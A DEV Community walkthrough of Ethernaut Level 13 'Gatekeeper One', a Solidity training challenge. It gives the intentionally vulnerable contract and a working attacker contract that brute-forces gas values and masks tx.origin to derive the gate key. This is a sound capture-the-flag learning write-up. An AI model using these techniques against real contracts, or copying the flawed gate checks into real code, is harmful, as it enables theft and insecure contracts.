DEV Community

Cover image for Ethernaut Hacks Level 13: Gatekeeper One
Naveen ⚡
Naveen ⚡

Posted on

Ethernaut Hacks Level 13: Gatekeeper One

This is the level 13 of OpenZeppelin Ethernaut web3/solidity based game.

Pre-requisites

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
Enter fullscreen mode Exit fullscreen mode

player has to pass all require checks and set entrant to player address.

We start with following GatePassOne to attack:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatePassOne {
    function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
        bytes8 gateKey = bytes8(tx.origin);
        (bool success, ) = address(_gateAddr).call.gas(_gas)(abi.encodeWithSignature("enter(bytes8)", gateKey));
        return success;
    }
}
Enter fullscreen mode Exit fullscreen mode

gateOne

This is exactly same as level 4. A basic intermediary contract will be used to call enter, so that msg.sender != tx.origin.

gateTwo

According to this one, the remaining gas just after gasleft is called, should be a multiple of 8191. We can control the gas amount sent with transaction using call. But it need to be set in such a way that amount set minus amount used up until gasleft's return should be a multiple of 8191.

I'm going to use Remix's Debug feature and a little bit of trial & error to determine the remaining gas up until to that point. But first copy & deploy GatekeeperOne in Remix with JavaScript VM environment (since trials are quick & Debug on testnet didn't work on Remix for me!), with same solidity compiler version. Also deploy GateKeeperOneGasEstimate with same environment, to help with estimating gas used up to that point:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GateKeeperOneGasEstimate {
    function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
        bytes8 gateKey = bytes8(uint64(tx.origin));
        (bool success, ) = address(_gateAddr).call.gas(_gas)(abi.encodeWithSignature("enter(bytes8)", gateKey));
        return success;
    }
}
Enter fullscreen mode Exit fullscreen mode

Initially choose a random fixed gas amount (but big enough) to send with transaction. Let's say 90000. And call enterGate of GateKeeperOneGasEstimate with address of our deployed GatekeeperOne (from Remix, not Ethernaut's!) and the chosen gas. Now hit Debug button in Remix console against the mined transaction. Focus on left pane.

See the list of opcodes executed corresponding to our contract execution. Step over (or drag progress bar) until the line with gasleft is highlighted:

289 JUMPDEST
290 PUSH1 ..
292 PUSH2 ..
295 GAS
296 PUSH2
   .
   .
   .
139 RETURN
Enter fullscreen mode Exit fullscreen mode

Step here and there to locate the GAS opcode which corresponds to gasleft call. Proceed just one step more (to PUSH2 here) and note the "remaining gas" from Step Detail just below. In my case it's 89746. Hence gas used up to that point:

gasUsed = _gas - remaining_gas
or, gasUsed = 90000 - 89746
or, gasUsed = 254
Enter fullscreen mode Exit fullscreen mode

Now, we have gasUsed and we want set a _gas such that gasLeft returns a multiple of 8191. One such value would be:

_gas = (8191 * 8) + gasUsed
or, _gas = (8191 * 8) + 254
or, _gas = 65782
Enter fullscreen mode Exit fullscreen mode

(Note that I randomly chose 8 to multiply to 8191, you can choose any as log as sufficient gas is provided for transaction)

So _gas should probably be 65782 to pass the check. But, the target GateKeeperOne contract (Ethernaut's instance) on Rinkeby network must've had a little bit of different compile time options. So correct _gas is not necessarily 65782, but a close one. Let's pick a reasonable margin around 65782 and call enter for all values around 65782 with that margin. A margin of 64 worked for me. Let's update GatePassOne:

contract GatePassOne {
    event Entered(bool success);

    function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
        bytes8 key = bytes8(uint64(tx.origin));

        bool succeeded = false;

        for (uint i = _gas - 64; i < _gas + 64; i++) {
          (bool success, ) = address(_gateAddr).call.gas(i)(abi.encodeWithSignature("enter(bytes8)", key));
          if (success) {
            succeeded = success;
            break;
          }
        }

        emit Entered(succeeded);

        return succeeded;
    }
}
Enter fullscreen mode Exit fullscreen mode

Calling enterGate with GateKeeper address and 65782, params should now clear gateTwo.

gateThree

This has checks that involves explicit conversions between uints. It can be inferred from third require statement that the _gateKey should be extracted from tx.origin through casting while satisfying other checks.

tx.origin will be the player which in my case is:

0xd557a44ed144bf8a3da34ba058708d1b4bc0686a
Enter fullscreen mode Exit fullscreen mode

We should be concerned with only 8 bytes of it since _gateKey is bytes8 (8 byte size) type. And specifically last 8 bytes of it, since uint conversions retain the last bytes.

So, 8 bytes portion (say, key) of our interest:

key = 58 70 8d 1b 4b c0 68 6a
Enter fullscreen mode Exit fullscreen mode

Accordingly, uint32(uint64(key)) = 4b c0 68 6a.

To satisfy third require, it is needed that:

uint32(uint64(key)) == uint16(tx.origin)
or, `4b c0 68 6a = 68 6a
Enter fullscreen mode Exit fullscreen mode

which is only possible by masking with 00 00 ff ff , such that:

4b c0 68 6a & 00 00 ff ff = 68 6a
Enter fullscreen mode Exit fullscreen mode

So, mask = 00 00 ff ff

The first require is satisfied by:

uint32(uint64(_gateKey)) == uint16(uint64(key)
or, 4b c0 68 6a = 68 6a
Enter fullscreen mode Exit fullscreen mode

which is same problem as previous one and can be achieved with same, previous value of mask.

The second require asks to satisfy:

uint32(uint64(key)) != uint64(key)
or, 4b c0 68 6a != 58 70 8d 1b 4b c0 68 6a
Enter fullscreen mode Exit fullscreen mode

We modify the mask to:

mask = ff ff ff ff 00 00 ff ff
Enter fullscreen mode Exit fullscreen mode

so that it satisfies:

00 00 00 00 4b c0 68 6a & ff ff ff ff 00 00 ff ff  != 58 70 8d 1b 4b c0 68 6a
Enter fullscreen mode Exit fullscreen mode

while also satisfying other two requires.

Hence the _gateKey should be:

_gateKey = key & mask
or, _gateKey = 58 70 8d 1b 4b c0 68 6a & ff ff ff ff 00 00 ff ff
Enter fullscreen mode Exit fullscreen mode

Finally, update GatePassOne to reflect it.

contract GatePassOne {
    event Entered(bool success);

    function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
        bytes8 key = bytes8(uint64(tx.origin)) & 0xffffffff0000ffff;

        bool succeeded = false;

        for (uint i = _gas - 64; i < _gas + 64; i++) {
          (bool success, ) = address(_gateAddr).call.gas(i)(abi.encodeWithSignature("enter(bytes8)", key));
          if (success) {
            succeeded = success;
            break;
          }
        }

        emit Entered(succeeded);

        return succeeded;
    }
}
Enter fullscreen mode Exit fullscreen mode

That was quite a level. But victory!

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

Top comments (0)